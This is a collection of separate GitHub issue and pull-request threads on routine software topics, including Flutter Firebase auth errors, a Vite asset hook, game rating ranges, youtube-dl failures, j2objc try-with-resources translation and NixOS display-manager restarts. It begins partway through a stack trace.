at [_onListen] (http://localhost:60869/packages/async/src/stream_group.dart.lib.js:168:70)
    at Object._runGuarded (http://localhost:60869/dart_sdk.js:40843:7)
    at [_subscribe] (http://localhost:60869/dart_sdk.js:34405:17)
    at [_createSubscription] (http://localhost:60869/dart_sdk.js:33673:46)
    at _BroadcastStream.new.listen (http://localhost:60869/dart_sdk.js:33638:53)
    at new _ForwardingStreamSubscription.new (http://localhost:60869/dart_sdk.js:38261:55)
    at [_createSubscription] (http://localhost:60869/dart_sdk.js:38177:16)
    at _HandleErrorStream.new.listen (http://localhost:60869/dart_sdk.js:38174:41)
    at new _ForwardingStreamSubscription.new (http://localhost:60869/dart_sdk.js:38261:55)
    at [_createSubscription] (http://localhost:60869/dart_sdk.js:38177:16)
    at _MapStream.new.listen (http://localhost:60869/dart_sdk.js:38174:41)
at uploadImageToFirebase (http://localhost:60869/packages/whats_that_anime/pages/HomePage/functions/upload_image_to_firebase.dart.lib.js:46:35)
    at uploadImageToFirebase.next (<anonymous>)
    at http://localhost:60869/dart_sdk.js:40641:33
    at _RootZone.runUnary (http://localhost:60869/dart_sdk.js:40511:59)
    at _FutureListener.thenAwait.handleValue (http://localhost:60869/dart_sdk.js:35438:29)
    at handleValueCallback (http://localhost:60869/dart_sdk.js:35999:49)
    at _Future._propagateToListeners (http://localhost:60869/dart_sdk.js:36037:17)
    at [_complete] (http://localhost:60869/dart_sdk.js:35864:25)
    at Object._cancelAndValue (http://localhost:60869/dart_sdk.js:40905:24)
    at http://localhost:60869/dart_sdk.js:21397:17
    at Object._checkAndCall (http://localhost:60869/dart_sdk.js:5279:16)
    at Object.dcall (http://localhost:60869/dart_sdk.js:5284:17)
    at FileReader.<anonymous> (http://localhost:60869/dart_sdk.js:108960:106)

Same issue here

We are experiencing this as well and it's causing us a lot of problems. All authentication state is lost on a reload of the application 😢

Same here.

@OutdatedGuy and everyone facing this issue, there's similar issue open describing your case, https://github.com/firebase/flutterfire/issues/9089, so please follow-up in it for further updates. There's an active PR to fix this issue that you can subscribe to: https://github.com/firebase/flutterfire/pull/9138
Closing this as a duplicate.


feat: add resolveBuiltUrl hook

For rewriting the public URLs of static assets.
Used by vite-plugin-rehost and vite-plugin-public.

This makes a lot of sense -- for anyone that wants to do 0 downtime deploys, uploading the assets to some shared global store is super key. 👍

Note: This depends on #3032 for CSS urls to be supported.

This is also very relevant for existing projects that might not want static assets handling.

For reference, this PR was discussed and approved in a team meeting. We need tests to be able to merge it. If someone wants this in, please PR a test case to this branch.

I think this is supported through experimental.resolveBuiltUrl now, when that is out of experimental, we can revisit if it makes sense to be a new hook.
I also don't quite understand the usecase of hashing public files. Public files are copied as-is, if assets needs to be hashed, they should be out of the publicDir so Vite can transform it.


Implement rating range

Is your feature request related to a problem? Please describe.
Problem:
You want to only player with players of a certain skill. Let's say all player that have a trueskill rating between 800-1400 or everything above 400. Right now most players state this requirement in the game title but it would be cooler if the server knew about it and if it could also enforce those rules.
The client already implements rating ranges. Or at least it has some UI controls for it.
Describe the solution you'd like
When creating a game user should be able to enter a rating range that he considers ok. And also if you wants the server to enforce this rating range. If enforced the games should not be displayed to people with rating that is not in range.
When displaying games the rating range should be displayed in both the tiles and the table. And if the players rating does not match the one of the game a warning should be issued.
What needs to be done
The client already shows the rating range of a game. At least in the game table. In the  titles such a date must be added. The client right now parses the rating range from the game title with regex. This parsing must be removed and the value must be read from the server. Also the rating range and whether to enforce it must be sent to the server on game creating. Also the UI for setting such a rating range could be improved/altered.
How do I talk to the server
The server messages for creating a game and the message telling the client about changes in games have been altered. They now support field that let the client set such values and the game infos/changes inform the client about the rating range for all games.
Have a look at this Pull Request(which is deployed):
https://github.com/FAForever/server/pull/651
There you also find a summary of what properties where added to the protocol.
Wanna have the bug fixed quickly?
Visit Issue hunt...

in the GameInfoMessage.class u need to add the game_info properties

in HostGameMessage.class and NewGameInfo.class u need to add the properties for the host_game

I think I'm pretty much done with most of this except for mapping the data from the server response.
I could really use some help ironing out those issues.

All you need to do is add the properties to the right classes. We can invite you to Zulip(chat service if u like) sent me an email<EMAIL_ADDRESS>


Myspace.com videos not working.

Appareantly you can only watch them on the browser.
$ youtube-dl -v https://myspace.com/philgoesroar/video/horses-are-wrong/100964118
[debug] System config: []
[debug] User config: []
[debug] Command-line args: ['-v', 'https://myspace.com/philgoesroar/video/horses-are-wrong/100964118']
[debug] Encodings: locale 'UTF-8', fs 'UTF-8', out 'UTF-8', pref: 'UTF-8'
[debug] youtube-dl version 2014.02.17
[debug] Python version 2.7.6 - Linux-4.4.5-040405-generic-x86_64-with-LinuxMint-17.3-rosa
[debug] Proxy map: {}
[MySpace] 100964118: Downloading webpage
ERROR: Unable to download webpage: <urlopen error [Errno 104] Connection reset by peer>
  File "/usr/lib/python2.7/dist-packages/youtube_dl/extractor/common.py", line 191, in _request_webpage
    return self._downloader.urlopen(url_or_request)
  File "/usr/lib/python2.7/dist-packages/youtube_dl/YoutubeDL.py", line 1157, in urlopen
    return self._opener.open(req)
  File "/usr/lib/python2.7/urllib2.py", line 404, in open
    response = self._open(req, data)
  File "/usr/lib/python2.7/urllib2.py", line 422, in _open
    '_open', req)
  File "/usr/lib/python2.7/urllib2.py", line 382, in _call_chain
    result = func(*args)
  File "/usr/lib/python2.7/dist-packages/youtube_dl/utils.py", line 572, in https_open
    return self.do_open(HTTPSConnectionV3, req)
  File "/usr/lib/python2.7/urllib2.py", line 1184, in do_open
    raise URLError(err)
```

You are using an outdated version of youtube-dl. Read our FAQ if you have troubles updating.


Semantics of translated try-with-resources statements differs from that in Java

There are three issues with the current translation of try-with-resources statements: They do not close the resources in the reverse order in which they are initialized; the finally block is evaluated before closing resources; and lastly, exceptions during resource initialzation are not handled according to the extended try-with-resources semantics.
Consider the following example:
public class TryWithResourcesExample {
  public static class Resource implements AutoCloseable {
    String name;

    public Resource(String name) {
      System.out.println("created: " + name);
      this.name = name;
    }

    @Override
    public void close() throws Exception {
      System.out.println("closed: " + name);
    }
  }

  public static void main(String args[]) throws Exception {
    try (Resource r1 = new Resource("r1");
         Resource r2 = new Resource("r2");
         Resource r3 = new Resource("r3")) {
      System.out.println("body");
    } catch (Exception e) {
      e.printStackTrace();
    } finally {
      System.out.println("finally");
    }
  }
}

The expected output, as from the javac-compiled program, is:
created: r1
created: r2
created: r3
body
closed: r3
closed: r2
closed: r1
finally

The output from the current translation is:
created: r1
created: r2
created: r3
body
finally
closed: r1
closed: r2
closed: r3

This can be problematic when sequence matters. For example, if r1 is a FileChannel and r2 is a FileLock, closing r1 before r2 causes r2.close() to throw a ClosedChannelException.
I'm currently using a workaround to fix the closing order as well as to evaluate the finally block after resource closures: https://github.com/google/j2objc/commit/a5cb336e96f73dd836ebb9961072c2abab3f0c69.
I think the real fix should be to generate the try-with-resources code according to the semantics in the Java spec. The current translation implements part of the basic try-with-resources case, where exceptions during the initialization of the first resource will be handled by the outer scope. However, for the example above, the translation should behave like an extended try-with-resources. Either way, the ResourceSpecification_tail (the r2, ..., rn part when there is more than one resource) should also be translated into nested try blocks.
I was wondering if this issue is already being considered, or if there are complications. Could there be any memory management issues if we translate try-with-resources into nested handlers with rethrows?

I agree that try-with-resources generation needs to follow the spec. The original translation was written when the spec was much simpler (Google contributed the original spec and javac support), but over time it's grown into a convoluted mess (IMO). We will certainly generate code for multiple resources that performs according to spec, but it's unlikely to be readable by mere mortals.

Rewrote try-with-resources support to match JLS spec.


Drop old versions

See #327 first.

@brendon: I'm not sure what to rebase... at the end the only meaningfull diff out of this is:
-    gem "mysql2", "~> 0.4.0"
+    gem "mysql2", "~> 0.4.10", platforms: [:ruby]

Hi @Silex, sorry I got in there first and committed a kind-of version of your code. I decided to use the base gem version ~> 0.4.0 as that just translates to whatever the latest patch release is for that version anyway.


Add Allas to Quick links on the main page

https://csc-guide-preview.rahtiapp.fi/origin/penikune-patch-1/

Looks better than current production one


Passive mobs not available on 1.19

Is this intended or or is there a config file IO cant find somewhere. I'm using tnp 6 limitless pack and only the vanilla hostile mobs are available

Passive mobs are not provided by default.  You would need to create (or find) and add a datapack that supplies them.


KeyError: 'open_stac_item_collection'

I downloaded the AWS Earth search notebook from the examples and whithout chaning anything. Just run the cells...
But I've got everytime the following error and don't know why:

Then, you can use intake_stac.catalog.StacItemCollection instead of intake.open_stac_item_collection.
Relevant question in GIS SE: Intake-STAC: KeyError: 'open_stac_item_collection'


calling moveToPage from another View Controller

When I try to call moveToPage from another class it fails on this line:
 let currentIndex = stackPageVC.index(of: currentStackVC)!
with the error:
fatal error: unexpectedly found nil while unwrapping an Optional value
here is my code:
//View controller where the call is started
@IBAction func buttonRightView(_ sender: Any) {
        let vc:ViewController = storyboard?.instantiateViewController(withIdentifier: "ViewController") as! ViewController
        vc.goRight()
    }

class ViewController: EZSwipeController {
    override func setupView() {
        datasource = self
        navigationBarShouldNotExist = true
    }
    func goRight(){
        moveToPage(1, animated: true)
    }
}

You can't do that because setupView hasn't been called on the instantiated view controller.
You need to call vc.goRight() after you set your datasource.

so what is the solution here?

@jaksatomovic I put this project on the back burner. I will check to see if this solves the problem in the next week


what is the meaning of 'No CUDA runtime is found,'???

When I build .sh file. This string occur. but no build error.
I use gcc 4.9, cuda-9.0
Thanks ahead.

I have the same issue.


We're no longer including Native.rc in Microsoft.VisualStudio.Settings.dll

When we moved from VS -> GitHub, we broke the embedding of https://github.com/dotnet/roslyn-project-system/blob/b22cf2e196665e747a00c60d53aba0865567f329/src/Microsoft.VisualStudio.Editors/native.rc. This means that some of our icons are no longer registered - we should figure out if thsi important or not.

To fix this you can inject the icon into your assembly post-build and pre-signing. If you just need the icon for a default icon in windows explorer, can you get away with having the .ico delivered raw and not embedded?


Button loading does not display right when set "auto" width

About styles 🛠

Produce code
  	<Button         auto         size="small"         htmlType="submit"         type="success"         disabled={!formState.isValid}         loading={true}       >         Submit       </Button>
Scrrenshot

Version 1.6.2 will be released later.


H1 Pink Text!

Challenge http://www.freecodecamp.com/challenges/waypoint-override-class-declarations-by-styling-id-attributes has an issue.

Please observe the "Spelling mistake in your code" (pink-test)

Please observe the "Spelling mistake in your code" (pink-test)

Oh. Alrighty! Thanks :D


Add kubeadm constructors

Signed-off-by: Chuck Ha<EMAIL_ADDRESS>What this PR does / why we need it:
This PR adds the kubeadm constructors and tests developed in CAPA, slightly modified to not depend on CAPA itself.
/assign @rudoi
/cc @detiber @vincepri
Special notes for your reviewer:
The controller is not right yet, I know we aren't watching machines, but this was more to get the import going.
Release note:
NONE

:sheep: it
/lgtm


2-up sitemap: javascript error when deleting pages

When the "2-up sitemap" is enabled and we delete a page in one of the two site maps, we have this javascript error (but the page is actually removed):
Uncaught TypeError: Cannot read property 'parent' of null
    at HTMLSpanElement.<anonymous> (sitemap.js:1)
    at HTMLSpanElement.c (events.js:1)
    at HTMLSpanElement.dispatch (jquery.js:4)
    at HTMLSpanElement.r.handle (jquery.js:4)
    at Object.trigger (jquery.js:4)
    at HTMLSpanElement.<anonymous> (jquery.js:4)
    at Function.each (jquery.js:2)
    at m.fn.init.each (jquery.js:2)
    at m.fn.init.trigger (jquery.js:4)
    at Object.publish (events.js:1)

This has been fixed in version 9.


update and meta description

Hi,
I don't know if I'm the only one who has this problem but i can't update my blog (3.0.5 to 3.1.1 ) and Google doesn't take well the meta description. ( It takes one of the setting, description blog )
Any ideas?

@dam62500 The Official Upgrade Guide should contain everything you need to upgrade from v3.0.5 to v3.1.1. What error are you receiving?
What is going on with the meta description that isn't working?

I don't have the meta description of the article but that one of settings when i look on Google, i can see there are two meta description in canvas for google and it's the first one google take, this one in the settings of the blog.

Ok @dam62500 I'll take a look at the meta sections and see if there is something we can fix there.

When i inspect, i see two meta descriptions. I think it's the probem.

Great thanks for that bit of info. If you care to send a PR over to the develop branch on Easel, I'd be happy to merge that in.

@dam62500 This is currently fixed in the develop branch. Will be pushed live with the v3.2.1 update.


Make it safer

Rust language is desinged to provide memory safery and high-level features.
Perhaps I should implement some wrapping on top of XLib C binding to make code more clear and safe.

After two months I started working on this issue.
Currently almost all used function are wrapped into some safe and more reliable interfaces.
One thing left: deal with Union field access


Intern the parts of Superpower used by this assembly

Working towards a version that can be integrated at a lower layer into the Serilog ecosystem - if not Serilog itself, then possibly by sinks like Console and File, or by metapackages like AspNetCore.
The sliver of Superpower used by this package is small, relative to Superpower itself; the LoC count of this PR is greatly inflated by license headers, XDOC, etc.; I'd guess there are ~500 significant LoC incoming.
Drafting the PR to check size stats.

Serilog.Expressions.dll 2.0: 132,608 bytes
Superpower.dll 3.0-dev: 91,648 bytes
Total assembly footprint today (net5.0) is 224,256 bytes.
Branch build for this PR, Serilog.Expressions.dll only: 171,008 bytes.
Cutting size isn't the main aim, but losing 23% is a nice side-benefit.


Replacing String concatenation, now StringBuilder is being used

Codecov Report

Merging #591 into master will not change coverage.
The diff coverage is 100%.

@@            Coverage Diff            @@
##             master     #591   +/-   ##
=========================================
  Coverage     98.09%   98.09%
  Complexity      350      350
=========================================
  Files             4        4
  Lines          4096     4096
  Branches       1005     1005
=========================================
  Hits           4018     4018
  Misses           23       23
  Partials         55       55

Impacted Files
Coverage Δ
Complexity Δ

src/main/java/picocli/AutoComplete.java
96.68% <100%> (ø)
106 <0> (ø)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 5e86817...262e0a4. Read the comment docs.

Looks good. I’ve started the release for picocli-3.9.0; I’ll merge this when the release is done. Thanks for the PR!

Merged.
I’ll update the release notes (for the next release) later.
Thanks for the pull request!

Thanks to you @remkop for merging my changes!


i18n(ko-KR): update nav/ko.ts

Description (required)

update nav/ko.ts

Related issues & labels (optional)

Closes #
Suggested label:

Lunaria Status Overview
🌕 This pull request will trigger status changes.

Learn more
By default, every PR changing files present in the Lunaria configuration's files property will be considered and trigger status changes accordingly.
You can change this by adding one of the keywords present in the ignoreKeywords property in your Lunaria configuration file in the PR's title (ignoring all files) or by including a tracker directive in the merged commit's description.

Tracked Files

File
Note

src/content/nav/ko.ts
Localization changed, will be marked as complete.

Warnings reference

Icon
Description

🔄
The source for this localization has been updated since the creation of this pull request, make sure all changes in the source have been applied.


http://scratch.mit.edu/projects/59094252/

http://scratch.mit.edu/projects/59094252/
http://phosphorus.github.io/#59094252
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.75 Safari/537.36
No music

Sound only works in some browsers currently.


x11 module: don't restart the display manager indefinitely

Motivation for this change
If the display managers crashes continuously in loops it prevents the
user from switching to the console and try to fix things. Especially
when using the "auto" display manager it can happen quite easily.
Things done

[x] Tested using sandboxing
(nix.useSandbox on NixOS,
or option build-use-sandbox in nix.conf
on non-NixOS)
Built on platform(s)

[x] NixOS
[ ] OS X
[ ] Linux

[x] Tested compilation of all pkgs that depend on this change using nix-shell -p nox --run "nox-review wip"
[x] Tested execution of all binary files (usually in ./result/bin/)
[x] Fits CONTRIBUTING.md.

:+1: if it works, changing RestartSec did not work for me :-/

Just fixed the timeouts because X11 takes longer to start than expected. I tested by using the auto diplay-manager and adding exit 1 at the top of my .xsession file, works great!

(also pushed to 16.09 by mistake as a7945db4526230a2e7c32b2fb4224d633111528f and 883098226ad55182a83f190dccb780cf59d9bfd5)


fix(): Fix for #162

Fix for Expectation Maximisation example. #162
It used hard-coded indices in optimise! function which made it difficult to use it with different number of observations.
This PR changes optimise! function to dynamically find and evaluate :log_pdf of functional messages.

Looks good to me! Good job @bvdmitri !


Assign the worker threads meaningful names

By using an explicit ThreadFactory, the worker threads are assigned
meaningful names such that they can be associated with the Kinesis- or
FirehoseAppender.

Apologies for the slow response to this. Presumably this is to help when debugging thread dumps etc?

Exactly.

Thanks @sebastiankirsch - will bundle it into the next release.

This is now in 1.4.4.


Authorize Discord Bot: Screen

Description

When user will use /verify in RDS Server, they will get a link.
User will click on the link to allow bot to manage their Real Dev Squad’s discord server profile.
To allow the bot to manage the Discord server profile, we need a UI to be present on website-my
Functionality is already implemented, we just need to improve the UI to make it look better

Here is the Figma Design for the same:
https://www.figma.com/file/5Tk9bgA7DXchDtCdrrPSwD/Main-Site?node-id=644%3A14&t=6kAixpFQRfAbSbOI-0

Please refer this for CSS:
<EMAIL_ADDRESS>


Remove Coaching from README

We don't actually offer this anymore, so it's probably best to not
advertise it.
/cc @croaky @jferris

:+1:

Yup looks good